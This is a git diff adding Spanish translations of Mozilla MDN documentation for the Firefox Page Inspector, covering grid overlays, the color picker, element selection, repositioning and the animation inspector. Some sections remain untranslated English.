+<p>En el <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#CSS_pane">panel CSS</a> veremos las reglas, cualquier instancia con <code><a href="/en-US/docs/Web/CSS/display">display: grid</a></code> declarado tendra un icono de rejilla como este: <img alt="" src="https://mdn.mozillademos.org/files/14524/Screen%20Shot%202016-12-16%20at%2010.51.15%20AM.png" style="height: 22px; margin-bottom: -5px; width: 22px;">.</p>
+
+<p><img alt="The CSS pane of the Firefox devtools, showing the CSS for a grid layout with a grid icon included next to display: grid" src="https://mdn.mozillademos.org/files/15978/css-pane.png" style="border-style: solid; border-width: 1px; display: block; height: 399px; margin: 0px auto; width: 1146px;"></p>
+
+<p>Al dar click en el icono la rejilla sera visible, y aparecera sobre los elemento, mostrando la posicion, lineas y tracks:</p>
+
+<p><img alt="A screenshot of the Firefox web browser, showing a colored overlay on top of a section of the page laid out like a grid " src="https://mdn.mozillademos.org/files/15979/grid-overlay.png" style="border-style: solid; border-width: 1px; display: block; height: 1383px; margin: 0px auto; width: 1842px;"></p>
+
+<p>La rejilla permanecera aun cuando selecciones otro elemento, puedes editar las propiedades CSS relacionadas y ver como esta es afectada.</p>
+
+<h3 id="La_vista_de_rejilla_en_la_seccion_disposición">La vista de rejilla en la seccion disposición</h3>
+
+<p>Cuando grid esta incluido en la pagina, el panel CSS en la seccion disposición incluye una vista de "Rejilla" esta sección incluye algunas opciones para ver las rejillas. Encontraras mas información acontinuación.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: la seccion disposición se encuentra abajo en el panel derecho del inspector de elementos. Con lo anterior y con los siguientes screenshots deberias hacerte una idea de donde encontrarlo.</p>
+</div>
+
+<h2 id="Opciones_de_Rejilla">Opciones de Rejilla</h2>
+
+<p>La seccion Rejilla de la vista de disposicion; luce algo así:</p>
+
+<p><img alt="The grid options section of the Firefox devtools Layout view, showing multiple options for specifying how you want to see CSS grids displayed" src="https://mdn.mozillademos.org/files/15980/grid-options.png" style="border-style: solid; border-width: 1px; display: block; height: 408px; margin: 0px auto; width: 500px;"></p>
+
+<p>Encontraras algunas opciones dentro de este:</p>
+
+<ul>
+ <li>Superponer Rejilla: cuenta con un checkbox para cada una de las rejillas en la pagina, con varias opciones. permitiendo la vista sobrepuesta de estas, asi como activar o desactivar cada una de estas.</li>
+ <li>Configuracion de la rejilla :
+  <ul>
+   <li>Mostrar números de línea: marca cada linea mostrada en la parte superior e inferior.</li>
+   <li>Mostrar nombres de áreas: mostrara los nombres de las areas, en el caso de que la rejilla cuente con estas (por defecto encima, donde es relevante).</li>
+   <li>Extender líneas infinitamente: por defecto, las lineas de la rejilla/tracks son visibles solamente dentro del elemento con la propiedad <code>display: grid</code> en él; cuando activamos esta opción, las lineas de la rejilla se extenderan hasta el limite del viewport en ambos ejes</li>
+  </ul>
+ </li>
+ <li>Mini vista de Rejilla: Una vista miniatura de la rejilla activa.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Tus preferencias de rejilla asi como al sobreposicion, color y configuracion de pantalla persistiran atravez de las paginas cargadas por separado.</p>
+</div>
+
+<p>Examinemos estas carácteristicas más a detalle.</p>
+
+<h3 id="Superponer_Rejilla">Superponer Rejilla</h3>
+
+<p>Cada rejilla presente en tu pagina tiene su propia entrada en la sección "Superponer Rejilla":</p>
+
+<p><img alt="An entry for a single grid in the Overlay Grid section of the Grid options, showing a grid's name, overlay color, and more." src="https://mdn.mozillademos.org/files/15981/overlay-grid-entry.png" style="border-style: solid; border-width: 1px; display: block; height: 37px; margin: 0px auto; width: 300px;"></p>
+
+<p>Cada entrada consiste en (de izquierda a derecha):</p>
+
+<ul>
+ <li>Un checkbox que te permite activar y desactivar la sobreposicion de la rejilla. ten en cuenta que solo puedes ver una rejilla a la vez.</li>
+ <li>Una etiqueta que representa la rejilla, constando de un selector de un elemento HTML al cual le fue aplicada la propiedad rejilla. al dar click sobre esta tambien puedes activar o desactivar la superposición.</li>
+ <li>Un icono de objetivo que al momendo de dar click sobre él seleccionaras el elemento al que la rejilla esta asociada, dentro del panel HTML.</li>
+ <li>Un icono selector de color que te permitira cambiar el color primario de la rejilla superpuesta. Esto es sumamente util para seleccionar colores  asi podras ver facilmente las secciones de tu rejilla.</li>
+</ul>
+
+<h3 id="Mostrar_números_de_línea">Mostrar números de línea</h3>
+
+<p>Por defecto, los números de linea se muestran sobre la rejilla superpuesta.</p>
+
+<p><img alt="A CSS grid overlay with grid line numbers displayed" src="https://mdn.mozillademos.org/files/15982/line-numbers.png" style="border-style: solid; border-width: 1px; display: block; height: 582px; margin: 0px auto; width: 600px;"></p>
+
+<p>Al desactivarla opcion "Mostrar números de línea" lucira así.</p>
+
+<p><img alt="A CSS grid overlay with grid line numbers not displayed" src="https://mdn.mozillademos.org/files/15983/no-line-numbers.png" style="border-style: solid; border-width: 1px; display: block; height: 580px; margin: 0px auto; width: 600px;"></p>
+
+<h3 id="Mostrar_nombres_de_áreas">Mostrar nombres de áreas</h3>
+
+<p>En una rejilla con areas nombradas, los nombres de area se mostraran superpuestos sobre la rejilla.</p>
+
+<p><img alt="A CSS grid overlay with named area names displayed" src="https://mdn.mozillademos.org/files/15984/grid-named-areas.png" style="border-style: solid; border-width: 1px; display: block; height: 777px; margin: 0px auto; width: 1396px;"></p>
+
+<p>Al desactivar la opción "Mostrar nombres de áreas" lucira así.</p>
+
+<p><img alt="A CSS grid overlay with named area names not displayed" src="https://mdn.mozillademos.org/files/15990/no-grid-named-areas.png" style="border-style: solid; border-width: 1px; display: block; height: 788px; margin: 0px auto; width: 1400px;"></p>
+
+<h3 id="Extender_líneas_infinitamente">Extender líneas infinitamente</h3>
+
+<p>Por defecto, las lineas de rejilla/tracks se muestran solomente sobre el elemento con <code>display: grid</code>.</p>
+
+<p><img alt="A CSS grid overlay with grid lines not extended infinitely" src="https://mdn.mozillademos.org/files/15987/no-extend-lines.png" style="border-style: solid; border-width: 1px; display: block; height: 499px; margin: 0px auto; width: 1000px;"></p>
+
+<p>Cuando activas la opcion "Extender líneas infinitamente", las lineas de la rejilla se extienden hasta el limite del viewport en ambos ejes.</p>
+
+<p><img alt="A CSS grid overlay with grid lines extended infinitely" src="https://mdn.mozillademos.org/files/15986/extend-lines.png" style="border-style: solid; border-width: 1px; display: block; height: 501px; margin: 0px auto; width: 1000px;"></p>
+
+<h3 id="Mini_vista_de_Rejilla">Mini vista de Rejilla</h3>
+
+<p>Muestra una version miniatura de la rejilla activa, con la misma proporcion que la real.</p>
+
+<p><img alt="A mini CSS grid view from the Firefox DevTools" src="https://mdn.mozillademos.org/files/15988/mini-grid-view.png" style="border-style: solid; border-width: 1px; display: block; height: 246px; margin: 0px auto; width: 600px;"></p>
+
+<p>posicionandote sobre cada una de las diferentes areas de la mini rejilla lograras que su equivalente en la rejilla superpuesta sea iluminada tambien, asi como mostrara tambien un tooltip con informacion como el número de colomna, fila y las dimenciones del area.</p>
+
+<p><img alt="A firefox screenshot showing an area of a mini CSS grid being highlighted in the DevTools, and the corresponding area in the real grid being highlighted on the web page." src="https://mdn.mozillademos.org/files/15989/mini-grid-highlight.png" style="border-style: solid; border-width: 1px; display: block; height: 793px; margin: 0px auto; width: 1200px;"></p>
+
+<h2 id="Mira_tambien">Mira tambien</h2>
+
+<ul>
+ <li><a href="http://labs.jensimmons.com/">labs.jensimmons.com</a> — algunos ejercicios interesantes de rejillas.</li>
+ <li><a href="https://gridbyexample.com/">Grid by Example</a> — estudiando los recursos de CSS Grid de Rachel Andrew.</li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a> — MDN CSS Grid Layout rreferencias y tutoriales.</li>
+</ul>
diff --git a/files/es/tools/page_inspector/how_to/index.html b/files/es/tools/page_inspector/how_to/index.html
new file mode 100644
index 0000000000..f35f9aec5c
--- /dev/null
+++ b/files/es/tools/page_inspector/how_to/index.html
@@ -0,0 +1,13 @@
+---
+title: How to
+slug: Tools/Page_Inspector/How_to
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Tools/Page_Inspector/How_to
+---
+<p><span class="seoSummary">Links for various HOW TO's can be found here. These links describe in depth the HOW TO techniques.</span></p>
+
+<p>{{ ListSubpages () }}</p>
+
+<p> </p>
diff --git a/files/es/tools/page_inspector/how_to/inspeccionar_y_seleccionar_colores/index.html b/files/es/tools/page_inspector/how_to/inspeccionar_y_seleccionar_colores/index.html
new file mode 100644
index 0000000000..f4ab42dabe
--- /dev/null
+++ b/files/es/tools/page_inspector/how_to/inspeccionar_y_seleccionar_colores/index.html
@@ -0,0 +1,26 @@
+---
+title: Inspeccionar y seleccionar colores
+slug: Tools/Page_Inspector/How_to/Inspeccionar_y_seleccionar_colores
+tags:
+  - Guía
+  - Herramientas
+  - Inspector
+translation_of: Tools/Page_Inspector/How_to/Inspect_and_select_colors
+---
+<p>En la <a href="/es/docs/Tools/Page_Inspector/UI_Tour#Rules_view">Vista reglas</a> del panel CSS, si una regla contiene un valor de color, verás una muestra del color junto al valor:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6361/inspector-css-color-swatch.png" style="display: block; height: 158px; margin-left: auto; margin-right: auto; width: 487px;"></p>
+
+<p>Si haces clic en la muestra de color, verás una ventana emergente que te permite cambiar el color:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7747/inspector-color-picker.png" style="display: block; height: 320px; margin-left: auto; margin-right: auto; width: 835px;"></p>
+
+<p>El selector de color incluye un icono de cuentagotas: al hacer clic en este icono, podrás utilizar el cuentagotas para seleccionar un nuevo color para el elemento:</p>
+
+<p>{{EmbedYouTube("0Zx1TN21QOo")}}</p>
+
+<p>A partir de Firefox 40, al hacer clic en la muestra de color mientras mantienes pulsada la tecla <kbd>Shift</kbd>, cambiará el formato de color: hexadecimal, HSL y RGB</p>
+
+<p>{{EmbedYouTube("gYL8-gxc1MA")}}</p>
+
+<p>Firefox 53 y versiones más recientes son compatibles con los valores de <a href="https://drafts.csswg.org/css-color/">CSS color level 4</a>.</p>
diff --git a/files/es/tools/page_inspector/how_to/reposicionando_elementos_en_la_pagina/index.html b/files/es/tools/page_inspector/how_to/reposicionando_elementos_en_la_pagina/index.html
new file mode 100644
index 0000000000..bd926e4bed
--- /dev/null
+++ b/files/es/tools/page_inspector/how_to/reposicionando_elementos_en_la_pagina/index.html
@@ -0,0 +1,22 @@
+---
+title: Reposicionando elementos en la página
+slug: Tools/Page_Inspector/How_to/Reposicionando_elementos_en_la_pagina
+translation_of: Tools/Page_Inspector/How_to/Reposition_elements_in_the_page
+---
+<div class="geckoVersionNote">Novedades en Firefox 48</div>
+
+<p>A partir de Firefox 48 puede mover elementos con <code>position: absolute</code> arrastrándolos alrededor de la página.</p>
+
+<p>{{EmbedYouTube("Or5HM1FFhvE")}}</p>
+
+<p>Si un elemento tiene su propiedad  <code>{{cssxref("position")}}</code> seteada en <code>absolute</code>, <code>relative</code> o <code>fixed</code> y una o más de las propiedades {{cssxref("top")}}, {{cssxref("bottom")}} , {{cssxref("left")}} or {{cssxref("right")}} , la <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Computed_view">Vista del modelo de caja</a> muestra un botón:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14245/box-model-reposition.png" style="display: block; height: 472px; margin-left: auto; margin-right: auto; width: 610px;"></p>
+
+<p>Si hace click en ese botón, aparecen dos identificadores junto al elemento:</p>
+
+<p><img alt="Example for changing the position of an element within the content" src="https://mdn.mozillademos.org/files/12986/in-content-box-model-editing.png" style="display: block; height: 215px; margin-left: auto; margin-right: auto; width: 388px;"></p>
+
+<p>Puede utilizar estos identificadores para arrastrar el elemento alrededor de la página.</p>
+
+<p>Si el elemento está posicionado de forma absoluta, se muestran líneas discontinuas que representan el origen de desplazamiento. Para los elementos relativamente posicionados, las líneas discontinuas indican la posición original del nodo. Los desplazamientos están indicados por una línea y una descripción de herramientas para cada lado.</p>
diff --git a/files/es/tools/page_inspector/how_to/select_an_element/index.html b/files/es/tools/page_inspector/how_to/select_an_element/index.html
new file mode 100644
index 0000000000..617fb05afd
--- /dev/null
+++ b/files/es/tools/page_inspector/how_to/select_an_element/index.html
@@ -0,0 +1,36 @@
+---
+title: Seleccionar un elemento
+slug: Tools/Page_Inspector/How_to/Select_an_element
+tags:
+  - Guía
+  - Herramientas
+  - Inspector
+translation_of: Tools/Page_Inspector/How_to/Select_an_element
+---
+<p>Un <em>elemento seleccionado</em> es el elemento de la página en la que el Inspector está actualmente enfocado. El elemento seleccionado se ve en el  <a href="/es/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">panel HTML</a> y su CSS en el <a href="/es/docs/Tools/Page_Inspector/UI_Tour#CSS_pane">panel CSS</a>.</p>
+
+<p>Un <em>elemento destacado</em> es el elemento que se dibuja sobre la página con una representación gráfica del modelo de caja, y un tooltip que contiene su etiqueta y tamaño: </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14516/inspector-highlighted.png" style="display: block; height: 779px; margin-left: auto; margin-right: auto; width: 1034px;"></p>
+
+<h2 id="Con_el_menú_contextual">Con el menú contextual</h2>
+
+<p>Para abrir el Inspector Selecciona un elemento en la página,y haz clic derecho para que el menú contextual aparezca sobre el elemento de la página. Selecciona "Inspeccionar elemento" y Se abrirá el Inspector inmediatamente.</p>
+
+<p>{{EmbedYouTube("db83PCnPiNM")}}</p>
+
+<h2 id="Con_el_panel_HTML">Con el panel HTML</h2>
+
+<p>Si tienes el inspector abierto, al mover el ratón sobre de los elementos listados en el panel HTML, verás que en la página se destacan los elementos correspondientes. Haz clic en un elemento del panel HTML para seleccionarlo:/p&gt;
+
+</p><p>{{EmbedYouTube("EojH_vCMesI")}}</p>
+
+<p>También puedes utilizar las teclas de flecha para desplazarte por el DOM con el teclado: <kbd>flecha derecha</kbd> para expandir un elemento y acceder a los elementos descendientes;<br> <kbd>flecha izquierda</kbd> para contraer un elemento o subir al elemento ascendente; <br><kbd>flecha arriba</kbd> para recorrer hacia arriba las líneas del panel HTML <br> <kbd>flecha abajo</kbd> para recorrer hacia abajo las líneas del panel HTML.</p>
+
+<h2 id="Con_el_boton_seccionar_elemento">Con el boton seccionar elemento</h2>
+
+<p>Para seleccionar un elemento en la propia página, activa el "selector de elementos" haciendo clic en su icono <img alt="" src="https://mdn.mozillademos.org/files/14518/node-picker.png" style="height: 16px; margin-bottom: -4px; width: 18px;"> (también llamado <em>Selector de nodos</em> o <em>Node picker</em>). Entonces segun muevas el ratón en la página, se destacará el elemento que esté bajo ratón. Haz clic en el elemento para seleccionarlo:</p>
+
+<p>{{EmbedYouTube("Ss_fJz0zaxA")}}</p>
+
+<p>A partir de Firefox 52, si pulsas <kbd>Shift</kbd> + <kbd>Click</kbd> en un elemento seleccionas el elemento permitiendo que el selector de elementos permanezca activo. Así es posible ver las reglas del elemento en el panel CSS y al mismo tiempo no impide que puedas seleccionar otro elemento en la página .</p>
diff --git a/files/es/tools/page_inspector/how_to/work_with_animations/index.html b/files/es/tools/page_inspector/how_to/work_with_animations/index.html
new file mode 100644
index 0000000000..2ad2d5afa1
--- /dev/null
+++ b/files/es/tools/page_inspector/how_to/work_with_animations/index.html
@@ -0,0 +1,112 @@
+---
+title: Trabajar con animaciones
+slug: Tools/Page_Inspector/How_to/Work_with_animations
+tags:
+  - Guia(2)
+  - Herramientas
+  - Inspector
+translation_of: Tools/Page_Inspector/How_to/Work_with_animations
+---
+<p>Este artículo cubre tres herramientas que puede usar para visualizar y editar animaciones:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations#Animation_inspector">El inspector de animación</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations#Edit_keyframes">Editor de @keyframes</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations#Edit_timing_functions">Editor de funciones de tiempo</a></li>
+</ul>
+
+<h2 id="Inspector_de_Animación">Inspector de Animación</h2>
+
+<div class="note">
+<p>Aunque esta herramienta se introdujo en Forefox 41, el interface de usuario se rediseñó en Forefox 43. This article describes the animation inspector as it appears in Firefox 43 and subsequent releases. If you want to see what the animation inspector looks like in Firefox 41 and 42, see <a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_(Firefox_41_and_42)">this separate page</a>.</p>
+</div>
+
+<p>Desde Firefox 41, el Inspector de Página incluye una <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Animations_view">vista extra etiquetada "Animaciones"</a>.</p>
+
+<p>Esta vista muestra las transiciones CSS y las animaciones CSS sincronizadas en la linea de tiempo, puede usar el widget dragueable para moverse a cualquier punto en la linea de tiempo y ver la página en ese punto.</p>
+
+<p>To see how it works, we'll walk through an example. The box below contains three grayscale icons, each representing a different <a href="https://www.mozilla.org/en-US/firefox/channel/">Firefox channel</a>. If you click an icon, the icon enlarges and changes to color, and the name of the channel appears. Click the icon again to reverse the effect. These animations are made by applying transitions to several CSS properties.</p>
+
+<p>{{ EmbedLiveSample('firefox-logo-animation', 500, 250, "", "Tools/Page_Inspector/How_to/Work_with_animations/Animations_examples") }}</p>
+
+<p>Let's use the animation inspector to see what's going on in this example.</p>
+
+<ul>
+ <li>Using Firefox 43 or later, right-click one of the icons and select "Inspect Element".</li>
+ <li>You'll probably also want to adjust the selected node up a level, to the <code>&lt;div class="channel"&gt;</code> node.</li>
+ <li>Switch over to the "Animations" tab.</li>
+</ul>
+
+<p>{{EmbedYouTube("U2eJYacf5XY")}}</p>
+
+<p>Now play the animation:</p>
+
+<p>{{EmbedYouTube("CwXXXEllB3o")}}</p>
+
+<p>Let's take a closer look at the contents of the animation inspector here:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11929/animation-inspector-44.png" style="display: block; height: 181px; margin-left: auto; margin-right: auto; width: 643px;"></p>
+
+<p>It shows a synchronized timeline for every CSS property transition involved in the animation. The timeline starts at the start of the first transition, and ends at the end of the last transition, and is labeled with markers every 100 milliseconds (this depends on the time scale of the animations currently displayed). You can see that the example above takes 735 milliseconds to run.</p>
+
+<p>Each animation or transition is shown as a horizontal bar laid across the timeline:</p>
+
+<ul>
+ <li>The bar is blue if a <code><a href="/en-US/docs/Web/CSS/transition">transition</a></code> was used to animate a property, and orange if a <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations"><code>@keyframes</code> animation</a> was used.</li>
+ <li>From Firefox 44 onwards, the bar contains a lightning bolt icon (<img alt="" src="https://mdn.mozillademos.org/files/11931/compositor-icon.png" style="height: 18px; width: 16px;">) if the property was animated using the compositor thread (see more about the <a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties#CSS_property_cost">cost of animating different CSS properties</a>).</li>
+ <li>The bar is labeled with the name of the property being animated or the name of the <code>@keyframes</code> animation.</li>
+ <li>If the animation or transition had a delay, this is shown as a cross-hatched portion of the bar.</li>
+ <li>If you hover over the bar, a tooltip appears, giving you more detailed information about the animation or transition.</li>
+</ul>
+
+<p>To the left of each bar is a selector for the node that the animation applies to. If you hover over this selector, the node is highlighted in the page. Click the selector to select the node in the inspector.</p>
+
+<p>To the left of the selector is a "target" icon (<img alt="" src="https://mdn.mozillademos.org/files/11919/target-icon.png" style="height: 16px; width: 15px;">). From Firefox 44, clicking this icon will lock the highlighter on the element.</p>
+
+<p>Applying all this to our example, we can see that:</p>
+
+<ul>
+ <li>The animation involved two elements, <code>span.channel-note</code> and <code>img#selected.channel-icon</code>. Hovering over these selectors, we can see that those elements are, respectively, the channel name "Firefox Nightly" and the channel icon: {{EmbedYouTube("EOUjHt0V1No")}}</li>
+ <li>Each element had two properties animated:
+  <ul>
+   <li><code><a href="/en-US/docs/Web/CSS/width">width</a></code> and <code><a href="/en-US/docs/Web/CSS/opacity">opacity</a></code> for the channel name</li>
+   <li><code><a href="/en-US/docs/Web/CSS/filter">filter</a></code> and <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code> for the icon.<span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span></li>
+  </ul>
+ </li>
+ <li>The <code>filter</code> property had a delay of 0.25 seconds applied to it.</li>
+ <li>The <code>transform</code> property transition ends after 0.5 seconds.</li>
+ <li>The <code>transform</code> property was animated on the compositor thread.</li>
+</ul>
+
+<h3 id="Animation_playback">Animation playback</h3>
+
+<p>At the top of the animation inspector:</p>
+
+<ul>
+ <li>there are buttons to play/pause and rewind the animation (new in Firefox 44)</li>
+ <li>the current time in the animation is displayed (new in Firefox 44).</li>
+</ul>
+
+<p>Finally, if you click inside the bar at the top of the timeline, you get a scrubber that you can drag left and right to move backwards and forwards through the animation, and pinpoint exactly what's happening when:</p>
+
+<p>{{EmbedYouTube("1hqNaMsB48g")}}</p>
+
+<h2 id="Edit_keyframes">Edit @keyframes</h2>
+
+<p>Any <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">@keyframes rules</a> associated with the currently selected element are displayed in the <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Rules_view">Rules view</a> and are editable:</p>
+
+<p>{{EmbedYouTube("mDHtLK88ZW4")}}</p>
+
+<h2 id="Edit_timing_functions">Edit timing functions</h2>
+
+<p>When you <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">create a CSS animation</a> you can specify a <a href="/en-US/docs/Web/CSS/animation-timing-function">timing function</a>: this determines the rate at which the animation progresses. One way to specify the timing function is with a cubic Bézier curve.</p>
+
+<p>Timing functions defined as cubic Bézier curves get an icon in the Rules view. If you click the icon you get a visual editor for the curve, enabling you to drag <a href="/en-US/docs/Web/CSS/timing-function#The_cubic-bezier()_class_of_timing-functions">P1 and P2</a>, and see the results in the page:</p>
+
+<p>{{EmbedYouTube("GW5-R2ewaqA")}}</p>
+
+<p>This feature uses open source code from <a href="http://cubic-bezier.com">Lea Verou’s cubic-bezier.com</a>.</p>
+
+<p>The cubic Bézier editor includes a number of presets, grouped under "Ease-in", "Ease-out", and "Ease-in-out":</p>
+
+<p>{{EmbedYouTube("Jx-J2Yy0aSg")}}</p>
diff --git a/files/es/tools/page_inspector/index.html b/files/es/tools/page_inspector/index.html
new file mode 100644
index 0000000000..4ffddc225d
--- /dev/null
+++ b/files/es/tools/page_inspector/index.html
@@ -0,0 +1,348 @@
+---
+title: Inspector de Página
+slug: Tools/Page_Inspector
+tags:
+  - CSS
+  - DOM
+  - Desarrollo web
+  - Dispositivos
+  - HTML
+  - Herramientas
+  - Herramientas de desarrollo
+  - Hojas de estilo
+  - 'Web Development:Tools'
+translation_of: Tools/Page_Inspector
+---
+<p>Utiliza el Inspector para examinar y modificar el HTML y CSS de una página.</p>
+
+<p>Puedes examinar las páginas cargadas en la copia local de Firefox o en un dispositivo remoto como Firefox para Android. Ver <a href="/es/docs/Tools/Remote_Debugging">depuración remota </a> para aprender a conectar las herramientas de desarrollo a un dispositivo remoto.</p>
+
+<hr>
+<h2 id="Tour_por_la_UI">Tour por la UI</h2>
+
+<p>El <a href="/es/docs/Tools/Page_Inspector/UI_Tour">Tour por la UI</a> es un breve recorrido para aprender a usar el Inspector.</p>
+
+<hr>
+<h2 id="How_to">How to</h2>
+
+<p>Para saber más sobre lo que puedes hacer con el Inspector, lee las siguientes guías:</p>
+
+<div class="twocolumns">
+<ul>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Open_the_Inspector">Abrir el Inspector</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML">Examinar y editar HTML</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Examinar y editar el modelo de cajas</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Inspect_and_select_colors">Inspeccionar y seleccionar colores </a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Reposition_elements_in_the_page">Reposicionar elementos en la página</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/View_fonts">Vista tipografía</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Visualize_transforms">Visualizar transformaciones</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_API">Usar la API del Inspector</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Select_an_element">Seleccionar un elemento</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examinar y editar CSS</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Examine_event_listeners">Examinar event listeners</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Work_with_animations">Trabajar con animaciones</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters">Editar filtros CSS</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Editar figuras CSS </a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/View_background_images">Ver background images</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_from_the_Web_Console">Usar el Inspector desde la Web Console</a></li>
+ <li><a href="/es/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Examine CSS grid layouts</a></li>
+</ul>
+</div>
+
+<hr>
+<h2 id="Referencia">Referencia</h2>
+
+<div class="twocolumns">
+<ul>
+ <li><a href="/es/docs/Tools/Page_Inspector/Keyboard_shortcuts">Atajos de teclado </a></li>
+ <li><a href="/es/docs/Tools/Tools_Toolbox#Inspector">Configuración</a></li>
+</ul>
+</div>
+
+<hr>
+<h2 id="Abriendo_el_Inspector">Abriendo el Inspector</h2>
+
+<p>Hay varias formas de abrir el Inspector:</p>
+
+<ul>
+ <li>Elegir la opción de "Inspector" en el menú "Web Developer" (que es un submenú en el menú "Herramientas" en Mac)</li>
+ <li>Pulse Ctrl-Shift-C (Cmd + Opción + C en Mac OS X y Linux)</li>
+ <li>Haz clic derecho en un elemento de una página web y selecciona "Inspeccionar elemento"</li>
+</ul>
+
+<p>La <a href="/en-US/docs/Tools/DevTools_Window" title="/en-US/docs/Tools/DevTools_Window">Caja de herramientas</a> aparecerá en la parte inferior de la ventana del navegador, con el Inspector activado.</p>
+
+<p>Si ha invocado el Inspector, haga clic en "Inspeccionar elemento", entonces ya estará seleccionado el elemento y el Inspector se mostrará y funcionará como lo hace en la <a href="#Selecting-Elements" title="#Selecting-Elements">"Selección de elementos"</a> abajo.</p>
+
+<p>De lo contrario, al mover el ratón por la página, el elemento bajo el puntero del ratón se resalta con un borde punteado y una anotación muestra su etiqueta HTML y cualquier atributo de clase o ID. Al mismo tiempo, se muestra la definición de HTML, en el contexto, en el panel de la izquierda del Inspector. Desde Firefox 30, también se muestran las líneas de cuadrícula para el elemento y su modelo de caja:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7459/inspector-opening.png" style="display: block; margin-left: auto; margin-right: auto;">Desde Firefox 32 la anotación también incluye el tamaño del elemento:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7901/inspector-annotation.png" style="display: block; margin-left: auto; margin-right: auto;">Al hacer clic en el elemento lo selecciona: Después de que hayas seleccionado un elemento, el Inspector se mostrará y funcionará como lo hace en la <a href="#Selecting-Elements" title="#Selecting-Elements">"Selección de elementos"</a> abajo.</p>
+
+<h2 id="Selección_de_elementos"><a name="Selecting-Elements">Selección de elementos</a></h2>
+
+<p>Cuando se selecciona un elemento, su marcado se resalta en el panel HTML a la izquierda del Inspector, y el panel de CSS a la derecha del Inspector muestra su información de estilo:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7465/inspector-selected-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>La linea de puntos alrededor del elemento de la página, y la anotación para ello, ya no se muestra una vez que un elemento ha sido seleccionado. Asimismo, el Inspector no está bloqueado en el elemento seleccionado: cuando se mueve el ratón alrededor de la marcación en el panel HTML, la linea punteada se muestra alrededor del elemento correspondiente. Para seleccionar un elemento diferente en la página web, haz clic en el botón "Seleccionar elemento", que aparece en la <a href="/en-US/docs/Tools_Toolbox#Toolbar">Caja de herramientas</a>.</p>
+
+<p>{{EmbedYouTube("zBYEg40ByCM")}}</p>
+
+<h3 id="Firefox_30_en_adelante">Firefox 30 en adelante</h3>
+
+<p>De Firefox 30, el comportamiento de la selección es el mismo que en Firefox 29, pero el inspector también muestra el modelo de caja y  rejilla de líneas para los elementos en la página:</p>
+
+<p>{{EmbedYouTube("y2LcsxE2pR0")}}</p>
+
+<h3 id="Firefox_32_en_adelante">Firefox 32 en adelante</h3>
+
+<p>Tenga en cuenta que a partir de Firefox 32, el botón "Seleccionar elemento" está en el extremo izquierdo de la barra de herramientas:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7905/toolbar-fx32-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Menú_emergente_del_elemento"><a name="Element_popup_menu">Menú emergente del elemento </a></h2>
+
+<p>Puedes llevar a cabo ciertas tareas comunes en un nodo específico mediante un menú emergente. Para activar este menú contextual haz clic en el elemento, en el <a href="#HTML_pane">panel HTML</a>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7911/inspector-popup-menu.png" style="display: block; height: 380px; margin-left: auto; margin-right: auto; width: 605px;">El menú ofrece opciones para:</p>
+
+<ul>
+ <li><a href="#Editing_HTML">Modificar HTML del elemento.</a></li>
+ <li>Copiar el código HTML interno o externo para el elemento.</li>
+ <li>Copiar un selector CSS que selecciona únicamente el elemento.</li>
